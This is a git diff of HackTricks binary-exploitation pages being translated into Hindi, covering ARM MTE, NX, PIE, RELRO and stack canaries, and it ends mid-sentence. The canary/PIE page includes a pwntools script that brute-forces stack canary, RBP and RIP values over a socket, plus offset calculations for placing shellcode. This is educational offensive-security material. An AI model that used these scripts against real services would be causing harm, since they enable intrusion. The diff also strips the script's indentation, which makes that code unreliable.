है, **मेमोरी से संबंधित त्रुटियों** का **पता लगाने और रोकने** के लिए, जैसे कि बफर ओवरफ्लो और उपयोग के बाद मुक्त होने वाली कमजोरियाँ। MTE, **ARM** आर्किटेक्चर का एक हिस्सा, प्रत्येक मेमोरी आवंटन के लिए एक **छोटा टैग संलग्न करने** और उस मेमोरी को संदर्भित करने वाले प्रत्येक पॉइंटर के लिए एक **संबंधित टैग** प्रदान करता है। यह दृष्टिकोण रनटाइम पर अवैध मेमोरी पहुंच का पता लगाने की अनुमति देता है, जिससे ऐसे कमजोरियों का शोषण करके मनमाने कोड को निष्पादित करने का जोखिम काफी कम हो जाता है। -### **How Memory Tagging Extension Works** +### **मेमोरी टैगिंग एक्सटेंशन कैसे काम करता है** -MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. +MTE **मेमोरी को छोटे, निश्चित आकार के ब्लॉकों में विभाजित करके काम करता है, प्रत्येक ब्लॉक को एक टैग सौंपा जाता है,** जो आमतौर पर कुछ बिट्स का आकार होता है। -When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block. +जब एक पॉइंटर उस मेमोरी की ओर इशारा करने के लिए बनाया जाता है, तो उसे वही टैग मिलता है। यह टैग **मेमोरी पॉइंटर के अप्रयुक्त बिट्स में** संग्रहीत होता है, प्रभावी रूप से पॉइंटर को उसके संबंधित मेमोरी ब्लॉक से जोड़ता है।

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.** +जब एक प्रोग्राम पॉइंटर के माध्यम से मेमोरी तक पहुँचता है, तो MTE हार्डवेयर यह जांचता है कि **पॉइंटर का टैग मेमोरी ब्लॉक के टैग से मेल खाता है**। यदि टैग **मेल नहीं खाते**, तो यह एक **अवैध मेमोरी एक्सेस** को इंगित करता है। -### MTE Pointer Tags +### MTE पॉइंटर टैग -Tags inside a pointer are stored in 4 bits inside the top byte: +पॉइंटर के अंदर टैग 4 बिट्स में शीर्ष बाइट के अंदर संग्रहीत होते हैं:

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-Therefore, this allows up to **16 different tag values**. +इसलिए, यह **16 विभिन्न टैग मानों** की अनुमति देता है। -### MTE Memory Tags +### MTE मेमोरी टैग -Every **16B of physical memory** have a corresponding **memory tag**. +हर **16B भौतिक मेमोरी** का एक संबंधित **मेमोरी टैग** होता है। -The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM. - -ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory: +मेमोरी टैग को **समर्पित RAM क्षेत्र** में संग्रहीत किया जाता है (सामान्य उपयोग के लिए सुलभ नहीं)। हर 16B मेमोरी टैग के लिए 4 बिट्स टैग होने से RAM का 3% तक हो सकता है। +ARM इन टैग्स को समर्पित RAM मेमोरी में प्रबंधित करने के लिए निम्नलिखित निर्देश पेश करता है: ``` STG [], # Store Allocation (memory) Tag LDG , [] Load Allocatoin (memory) Tag IRG , Insert Random [pointer] Tag ... ``` - ## Checking Modes ### Sync -The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\ -This is the slowest and most secure. +CPU टैग को **निर्देश निष्पादन के दौरान** चेक करता है, यदि कोई असंगति होती है, तो यह एक अपवाद उठाता है।\ +यह सबसे धीमा और सबसे सुरक्षित है। ### Async -The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack. +CPU टैग को **असिंक्रोनसली** चेक करता है, और जब कोई असंगति पाई जाती है, तो यह सिस्टम रजिस्टर में एक अपवाद बिट सेट करता है। यह पिछले वाले से **तेज़** है लेकिन यह **सटीक निर्देश को इंगित करने में असमर्थ** है जो असंगति का कारण बनता है और यह तुरंत अपवाद नहीं उठाता, जिससे हमलावर को अपने हमले को पूरा करने के लिए कुछ समय मिलता है। ### Mixed @@ -56,26 +54,26 @@ The CPU check the tags **asynchronously**, and when a mismatch is found it sets ## Implementation & Detection Examples -Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\ -The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer. +इसे हार्डवेयर टैग-आधारित KASAN, MTE-आधारित KASAN या इन-कर्नेल MTE कहा जाता है।\ +कर्नेल आवंटक (जैसे `kmalloc`) इस **मॉड्यूल को कॉल करेंगे** जो उपयोग के लिए टैग तैयार करेगा (यादृच्छिक रूप से) इसे कर्नेल स्पेस आवंटित करने और लौटाए गए पॉइंटर से जोड़ने के लिए। -Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**. +ध्यान दें कि यह **केवल पर्याप्त मेमोरी ग्रेन्यूल्स** (प्रत्येक 16B) को अनुरोधित आकार के लिए **मार्क** करेगा। इसलिए यदि अनुरोधित आकार 35 था और 60B का एक स्लैब दिया गया, तो यह पहले 16\*3 = 48B को इस टैग के साथ **मार्क** करेगा और **बाकी** को एक तथाकथित **अमान्य टैग (0xE)** के साथ **मार्क** करेगा। -The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory. +टैग **0xF** **सभी पॉइंटर से मेल खाता है**। इस पॉइंटर के साथ एक मेमोरी **किसी भी टैग का उपयोग** करने की अनुमति देती है ताकि इसकी मेमोरी तक पहुंचा जा सके (कोई असंगतियाँ नहीं)। यदि इस टैग का उपयोग हमले की गई मेमोरी में किया जा रहा है, तो यह MET को हमले का पता लगाने से रोक सकता है। -Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**. +इसलिए केवल **14 मान** हैं जो टैग उत्पन्न करने के लिए उपयोग किए जा सकते हैं क्योंकि 0xE और 0xF आरक्षित हैं, जिससे टैग **पुन: उपयोग** की संभावना 1/17 -> लगभग **7%** हो जाती है। -If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7% +यदि कर्नेल **अमान्य टैग ग्रेन्यूल** तक पहुंचता है, तो **असंगति** **पता लगाई जाएगी**। यदि यह किसी अन्य मेमोरी स्थान तक पहुंचता है, यदि **मेमोरी में एक अलग टैग** (या अमान्य टैग) है तो असंगति **पता लगाई जाएगी।** यदि हमलावर भाग्यशाली है और मेमोरी उसी टैग का उपयोग कर रही है, तो यह पता नहीं चलेगा। संभावनाएँ लगभग 7% हैं। -Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**. +एक और बग आवंटित मेमोरी के **अंतिम ग्रेन्यूल** में होता है। यदि एप्लिकेशन ने 35B का अनुरोध किया, तो इसे 32 से 48 तक का ग्रेन्यूल दिया गया। इसलिए, **36 से 47 तक के बाइट्स उसी टैग का उपयोग कर रहे हैं** लेकिन उन्हें अनुरोध नहीं किया गया था। यदि हमलावर **इन अतिरिक्त बाइट्स तक पहुंचता है, तो यह पता नहीं चलेगा**। -When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**. +जब **`kfree()`** निष्पादित होता है, तो मेमोरी को अमान्य मेमोरी टैग के साथ फिर से टैग किया जाता है, इसलिए एक **यूज़-आफ्टर-फ्री** में, जब मेमोरी को फिर से एक्सेस किया जाता है, तो **असंगति का पता लगाया जाता है**। -However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance). +हालांकि, एक यूज़-आफ्टर-फ्री में, यदि वही **चंक फिर से उसी टैग के साथ आवंटित किया जाता है** जैसा पहले था, तो एक हमलावर इस एक्सेस का उपयोग कर सकेगा और यह पता नहीं चलेगा (लगभग 7% संभावना)। -Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused). +इसके अलावा, केवल **`slab` और `page_alloc`** टैग की गई मेमोरी का उपयोग करते हैं लेकिन भविष्य में इसका उपयोग `vmalloc`, `stack` और `globals` में भी किया जाएगा (वीडियो के समय ये अभी भी दुरुपयोग किए जा सकते हैं)। -When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives). +जब **असंगति का पता लगाया जाता है**, तो कर्नेल **पैनिक** करेगा ताकि आगे के शोषण और शोषण के पुनः प्रयासों को रोका जा सके (MTE में झूठे सकारात्मक नहीं होते)। ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 376dfe6c4..301b70c64 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -4,13 +4,13 @@ ## Basic Information -The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it. +**No-Execute (NX)** बिट, जिसे Intel शब्दावली में **Execute Disable (XD)** के रूप में भी जाना जाता है, एक हार्डवेयर-आधारित सुरक्षा विशेषता है जो **buffer overflow** हमलों के प्रभावों को **कम करने** के लिए डिज़ाइन की गई है। जब इसे लागू और सक्षम किया जाता है, तो यह उन मेमोरी क्षेत्रों के बीच अंतर करता है जो **executables code** के लिए निर्धारित हैं और उन क्षेत्रों के लिए जो **data** के लिए हैं, जैसे कि **stack** और **heap**। इसका मुख्य विचार यह है कि हमलावर को बफर ओवरफ्लो कमजोरियों के माध्यम से दुर्भावनापूर्ण कोड को निष्पादित करने से रोकना है, उदाहरण के लिए, दुर्भावनापूर्ण कोड को स्टैक में डालकर और निष्पादन प्रवाह को इसकी ओर निर्देशित करना। ## Bypasses -- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary. - - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) - - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) - - **Ret2...** +- यह तकनीकों का उपयोग करना संभव है जैसे कि [**ROP**](../rop-return-oriented-programing/) **इस सुरक्षा को बायपास करने** के लिए पहले से मौजूद बाइनरी में निष्पादनीय कोड के टुकड़ों को निष्पादित करना। +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 99a33743d..3aa9b727d 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -4,26 +4,26 @@ ## Basic Information -A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses. +एक बाइनरी जिसे PIE, या **पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल** के रूप में संकलित किया गया है, का मतलब है कि **प्रोग्राम हर बार इसे निष्पादित करने पर विभिन्न मेमोरी स्थानों पर लोड हो सकता है**, जिससे हार्डकोडेड पते को रोका जा सकता है। -The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**. +इन बाइनरीज़ का शोषण करने का तरीका **सापेक्ष पते** का शोषण करना है—प्रोग्राम के भागों के बीच के ऑफसेट समान रहते हैं भले ही निरपेक्ष स्थान बदल जाए। **PIE को बायपास करने के लिए, आपको केवल एक पता लीक करने की आवश्यकता है**, आमतौर पर **स्टैक** से फॉर्मेट स्ट्रिंग हमलों जैसी कमजोरियों का उपयोग करके। एक बार जब आपके पास एक पता हो, तो आप उनके **फिक्स्ड ऑफसेट्स** द्वारा अन्य का अनुमान लगा सकते हैं। -A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\ -Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations. +PIE बाइनरीज़ का शोषण करने में एक सहायक संकेत यह है कि उनका **बेस पता आमतौर पर 000 पर समाप्त होता है** क्योंकि मेमोरी पृष्ठ यादृच्छिकता की इकाइयाँ होती हैं, जिनका आकार 0x1000 बाइट्स होता है। यह संरेखण एक महत्वपूर्ण **जांच हो सकती है यदि कोई शोषण अपेक्षित रूप से काम नहीं कर रहा है**, यह संकेत करता है कि क्या सही बेस पता पहचाना गया है।\ +या आप इसे अपने शोषण के लिए उपयोग कर सकते हैं, यदि आप लीक करते हैं कि एक पता **`0x649e1024`** पर स्थित है, तो आप जानते हैं कि **बेस पता `0x649e1000`** है और वहां से आप बस **फंक्शंस और स्थानों के ऑफसेट्स** की गणना कर सकते हैं। ## Bypasses -In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this: +PIE को बायपास करने के लिए लोड की गई बाइनरी के **कुछ पते को लीक करना आवश्यक है**, इसके लिए कुछ विकल्प हैं: -- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place. -- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **Brute-force EBP and EIP values** in the stack until you leak the correct ones: +- **ASLR बंद**: यदि ASLR बंद है, तो PIE के साथ संकलित बाइनरी हमेशा **एक ही पते पर लोड होने वाली है**, इसलिए **PIE बेकार हो जाएगा** क्योंकि वस्तुओं के पते हमेशा एक ही स्थान पर होंगे। +- लीक **प्राप्त करना** (आसान CTF चुनौतियों में सामान्य, [**इस उदाहरण की जांच करें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +- स्टैक में **EBP और EIP मानों को ब्रूट-फोर्स करना** जब तक कि आप सही लीक न कर लें: {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- एक **मनमाना पढ़ने** की कमजोरी का उपयोग करें जैसे कि [**फॉर्मेट स्ट्रिंग**](../../format-strings/) बाइनरी का एक पता लीक करने के लिए (जैसे, पिछले तकनीक की तरह स्टैक से) बाइनरी का बेस प्राप्त करने के लिए और वहां से ऑफसेट्स का उपयोग करें। [**यहां एक उदाहरण खोजें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 996facccb..c58117107 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -2,55 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**यदि आप एक बाइनरी का सामना कर रहे हैं जो एक कैनरी और PIE (पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल) द्वारा सुरक्षित है, तो आपको शायद उन्हें बायपास करने का एक तरीका खोजने की आवश्यकता है।** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता है कि एक बाइनरी कैनरी द्वारा सुरक्षित है यदि इसे स्थिर रूप से संकलित किया गया था और यह फ़ंक्शन की पहचान करने में सक्षम नहीं है।\ +> हालाँकि, आप इसे मैन्युअल रूप से देख सकते हैं यदि आप पाते हैं कि एक मान फ़ंक्शन कॉल की शुरुआत में स्टैक में सहेजा गया है और यह मान बाहर निकलने से पहले जांचा जाता है। ## Brute-Force Addresses -In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** +**PIE को बायपास करने के लिए** आपको **कुछ पते लीक करने** की आवश्यकता है। और यदि बाइनरी कोई पते लीक नहीं कर रही है, तो इसे करने का सबसे अच्छा तरीका है **कमजोर फ़ंक्शन में स्टैक में सहेजे गए RBP और RIP को ब्रूट-फोर्स करना।**\ +उदाहरण के लिए, यदि एक बाइनरी को **कैनरी** और **PIE** दोनों का उपयोग करके सुरक्षित किया गया है, तो आप कैनरी को ब्रूट-फोर्स करना शुरू कर सकते हैं, फिर **अगले** 8 बाइट्स (x64) सहेजे गए **RBP** होंगे और **अगले** 8 बाइट्स सहेजे गए **RIP** होंगे। > [!TIP] -> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case. - -To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: +> यह माना जाता है कि स्टैक के अंदर लौटने वाला पता मुख्य बाइनरी कोड से संबंधित है, जो, यदि कमजोर बिंदु बाइनरी कोड में स्थित है, तो आमतौर पर ऐसा ही होगा। +बाइनरी से RBP और RIP को ब्रूट-फोर्स करने के लिए, आप यह पता लगा सकते हैं कि एक मान्य अनुमानित बाइट सही है यदि प्रोग्राम कुछ आउटपुट करता है या यह बस क्रैश नहीं होता है। **कैनरी को ब्रूट-फोर्स करने के लिए प्रदान की गई** वही फ़ंक्शन RBP और RIP को ब्रूट-फोर्स करने के लिए उपयोग की जा सकती है: ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base # CANARY BF HERE canary_offset = 1176 @@ -67,30 +66,25 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` +आपको PIE को हराने के लिए अंतिम चीज़ **लीक किए गए** पते से **उपयोगी पते** की गणना करना है: **RBP** और **RIP**। -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. - -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: - +**RBP** से आप यह गणना कर सकते हैं कि **आप स्टैक में अपना शेल कहाँ लिख रहे हैं**। यह जानना बहुत उपयोगी हो सकता है कि आप स्टैक के अंदर स्ट्रिंग _"/bin/sh\x00"_ कहाँ लिखने जा रहे हैं। लीक किए गए RBP और आपके शेलकोड के बीच की दूरी की गणना करने के लिए, आप बस **RBP लीक करने के बाद एक ब्रेकपॉइंट डाल सकते हैं** और चेक कर सकते हैं **आपका शेलकोड कहाँ स्थित है**, फिर, आप शेलकोड और RBP के बीच की दूरी की गणना कर सकते हैं: ```python INI_SHELLCODE = RBP - 1152 ``` - -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ -To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: +**RIP** से आप **PIE बाइनरी का बेस एड्रेस** निकाल सकते हैं, जो आपको **मान्य ROP चेन** बनाने के लिए चाहिए होगा।\ +बेस एड्रेस निकालने के लिए बस `objdump -d vunbinary` करें और नवीनतम पतों को असेंबल करें: ![](<../../../images/image (479).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000` - +उस उदाहरण में आप देख सकते हैं कि सभी कोड को स्थानांतरित करने के लिए केवल **1 बाइट और आधा** आवश्यक है, फिर, इस स्थिति में बेस एड्रेस **लीक किए गए RIP पर "000" के साथ समाप्त होगा**। उदाहरण के लिए, यदि आपने `0x562002970ecf` लीक किया, तो बेस एड्रेस `0x562002970000` है। ```python elf.address = RIP - (RIP & 0xfff) ``` +## सुधार -## Improvements +[**इस पोस्ट से कुछ अवलोकनों के अनुसार**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), यह संभव है कि जब RBP और RIP मानों को लीक किया जा रहा हो, तो कुछ मानों के साथ सर्वर क्रैश नहीं होगा जो सही नहीं हैं और BF स्क्रिप्ट सोच सकती है कि उसे अच्छे मान मिल गए हैं। इसका कारण यह है कि **कुछ पते बस इसे नहीं तोड़ेंगे भले ही वे बिल्कुल सही न हों**। -According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**. - -According to that blog post it's recommended to add a short delay between requests to the server is introduced. +उस ब्लॉग पोस्ट के अनुसार, सर्वर के लिए अनुरोधों के बीच एक छोटा विलंब जोड़ने की सिफारिश की गई है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md index 59b406c5e..406c54c97 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md @@ -4,32 +4,30 @@ ## Relro -**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses). +**RELRO** का मतलब है **Relocation Read-Only**, और यह बाइनरी में एक सुरक्षा विशेषता है जो **GOT (Global Offset Table)** ओवरराइट्स से संबंधित जोखिमों को कम करने के लिए उपयोग की जाती है। **RELRO** सुरक्षा के दो प्रकार हैं: (1) **Partial RELRO** और (2) **Full RELRO**। दोनों **GOT** और **BSS** को ELF फ़ाइलों से पुनर्व्यवस्थित करते हैं, लेकिन विभिन्न परिणामों और निहितार्थों के साथ। विशेष रूप से, वे **GOT** अनुभाग को **BSS** से _पहले_ रखते हैं। अर्थात, **GOT** के पते **BSS** से कम हैं, जिससे **BSS** में वेरिएबल्स को ओवरफ्लो करके **GOT** प्रविष्टियों को ओवरराइट करना असंभव हो जाता है (याद रखें कि मेमोरी में लिखना निम्न से उच्च पते की ओर होता है)। -Let's break down the concept into its two distinct types for clarity. +स्पष्टता के लिए, हम इस अवधारणा को इसके दो अलग-अलग प्रकारों में विभाजित करते हैं। ### **Partial RELRO** -**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities. +**Partial RELRO** सुरक्षा को बढ़ाने के लिए एक सरल दृष्टिकोण अपनाता है बिना बाइनरी के प्रदर्शन पर महत्वपूर्ण प्रभाव डाले। Partial RELRO **.got को केवल पढ़ने योग्य बनाता है (GOT अनुभाग का गैर-PLT भाग)**। ध्यान रखें कि अनुभाग का बाकी हिस्सा (जैसे .got.plt) अभी भी लिखने योग्य है और, इसलिए, हमलों के अधीन है। यह **GOT** को **मनमाने लिखने** की कमजोरियों से दुरुपयोग करने से नहीं रोकता है। -Note: By default, GCC compiles binaries with Partial RELRO. +नोट: डिफ़ॉल्ट रूप से, GCC बाइनरी को Partial RELRO के साथ संकलित करता है। ### **Full RELRO** -**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime. +**Full RELRO** सुरक्षा को बढ़ाता है **पूरे GOT (दोनों .got और .got.plt) और .fini_array** अनुभाग को पूरी तरह से **पढ़ने योग्य** बनाकर। एक बार जब बाइनरी शुरू होती है, तो सभी फ़ंक्शन पते GOT में हल और लोड होते हैं, फिर, GOT को पढ़ने योग्य के रूप में चिह्नित किया जाता है, प्रभावी रूप से रनटाइम के दौरान इसमें किसी भी संशोधन को रोकता है। -However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries. - -It's possible to see if Full RELRO is **enabled** in a binary with: +हालांकि, Full RELRO के साथ व्यापार-निष्कर्ष प्रदर्शन और स्टार्टअप समय के संदर्भ में है। क्योंकि इसे GOT को पढ़ने योग्य के रूप में चिह्नित करने से पहले स्टार्टअप पर सभी गतिशील प्रतीकों को हल करने की आवश्यकता होती है, **Full RELRO सक्षम बाइनरी में लंबे लोड समय का अनुभव हो सकता है**। यह अतिरिक्त स्टार्टअप ओवरहेड ही कारण है कि Full RELRO सभी बाइनरी में डिफ़ॉल्ट रूप से सक्षम नहीं है। +यह देखना संभव है कि क्या Full RELRO एक बाइनरी में **सक्षम** है: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` - ## Bypass -If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution. +यदि Full RELRO सक्षम है, तो इसे बायपास करने का एकमात्र तरीका यह है कि कोई और तरीका खोजा जाए जिसे मनमाने निष्पादन के लिए GOT तालिका में लिखने की आवश्यकता न हो। -Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** +ध्यान दें कि **LIBC का GOT आमतौर पर Partial RELRO है**, इसलिए इसे मनमाने लिखने के साथ संशोधित किया जा सकता है। अधिक जानकारी के लिए [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index 5c1044b98..b5f779417 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -2,72 +2,72 @@ {{#include ../../../banners/hacktricks-training.md}} -## **StackGuard and StackShield** +## **StackGuard और StackShield** -**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**. +**StackGuard** एक विशेष मान जिसे **canary** कहा जाता है, को **EIP (Extended Instruction Pointer)** से पहले डालता है, विशेष रूप से `0x000aff0d` (जो null, newline, EOF, carriage return का प्रतिनिधित्व करता है) बफर 